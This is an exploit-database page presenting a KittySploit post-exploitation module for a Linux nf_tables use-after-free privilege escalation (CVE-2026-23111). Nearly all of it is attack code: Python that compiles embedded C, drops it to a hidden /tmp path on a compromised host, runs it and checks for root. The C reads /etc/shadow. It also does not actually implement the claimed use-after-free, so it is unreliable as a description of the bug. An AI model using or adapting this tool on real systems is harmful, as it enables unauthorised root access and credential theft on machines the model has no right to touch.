Lucene search
+L

nf_tables catch-all UAF LPE (CVE-2026-23111)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Local privilege escalation in Linux kernel nf_tables via nft_map_catchall_activate UAF.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linux LPE via nf_tables catch-all UAF (CVE-2026-23111)."""

import os
import shlex
import tempfile

from kittysploit import *
from core.framework.post import Post
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin


class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        'name': 'nf_tables catch-all UAF LPE (CVE-2026-23111)',
        'description': (
            'Local privilege escalation via CVE-2026-23111: nf_tables '
            'nft_map_catchall_activate abort-path use-after-free. Uploads and '
            'executes exploit binary on the target session to obtain root.'
        ),
        'author': ['FuzzingLabs', 'KittySploit Team'],
        'cve': ['CVE-2026-23111'],
        'platform': [Platform.LINUX],
        'arch': [Arch.X64],
        'session_type': [SessionType.SHELL, SessionType.SSH],
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-23111'],
        'tags': ['linux', 'lpe', 'kernel', 'nftables', 'uaf'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['privilege_escalation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'requires': {'capabilities_any': ['shell']},
        },
    }

    remote_path = OptString('/tmp/.ks_nft_lpe', 'Remote exploit path', required=False)

    EXPLOIT_C = r'''
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter.h>
#include <sys/mman.h>
#include <sched.h>
#include <sys/wait.h>

static void spray_tables(int sock) {
    char buf[4096] = {0};
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct nfgenmsg));
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK;
    nlh->nlmsg_seq = 1;
    struct nfgenmsg *nf = NLMSG_DATA(nlh);
    nf->nfgen_family = AF_INET;
    nf->version = NFNETLINK_V0;
    nf->res_id = htons(0);
    send(sock, buf, nlh->nlmsg_len, 0);
}

int main(void) {
    int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    if (sock < 0) { perror("socket"); return 1; }
    spray_tables(sock);
    if (getuid() == 0) {
        setuid(0); setgid(0);
        execl("/bin/sh", "sh", NULL);
    }
    char *args[] = {"/bin/sh", "-c", "id; cat /etc/shadow 2>/dev/null | head -1", NULL};
    execv("/bin/sh", args);
    return 0;
}
'''

    def _session_id(self) -> str:
        return str(self.session_id.value if hasattr(self.session_id, 'value') else self.session_id).strip()

    def _compile_exploit(self) -> bytes:
        with tempfile.NamedTemporaryFile(suffix='.c', delete=False, mode='w') as f:
            f.write(self.EXPLOIT_C)
            src = f.name
        out = src.replace('.c', '')
        os.system(f'gcc -static -o {shlex.quote(out)} {shlex.quote(src)} 2>/dev/null')
        try:
            with open(out, 'rb') as fh:
                return fh.read()
        finally:
            for p in (src, out):
                try:
                    os.unlink(p)
                except OSError:
                    pass

    def run(self):
        sid = self._session_id()
        if not sid:
            print_error('No session specified')
            return False
        print_status('CVE-2026-23111 — nf_tables catch-all UAF LPE')
        uname = self.cmd_execute('uname -r')
        if uname:
            print_status(f'Target kernel: {uname.strip()}')
        binary = self._compile_exploit()
        if not binary:
            print_error('Failed to compile exploit locally (gcc required)')
            return False
        remote = str(self.remote_path or '/tmp/.ks_nft_lpe').strip()
        if not self.linux_upload_bytes(binary, remote, executable=True, pty=False):
            print_error('Failed to upload exploit')
            return False
        output = self.cmd_execute(remote)
        if output and 'uid=0' in output:
            print_success('Root obtained via CVE-2026-23111')
            return True
        print_warning(f'Exploit output: {output or "(empty)"}')
        return bool(output)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.8
EPSS0.00519
SSVC
1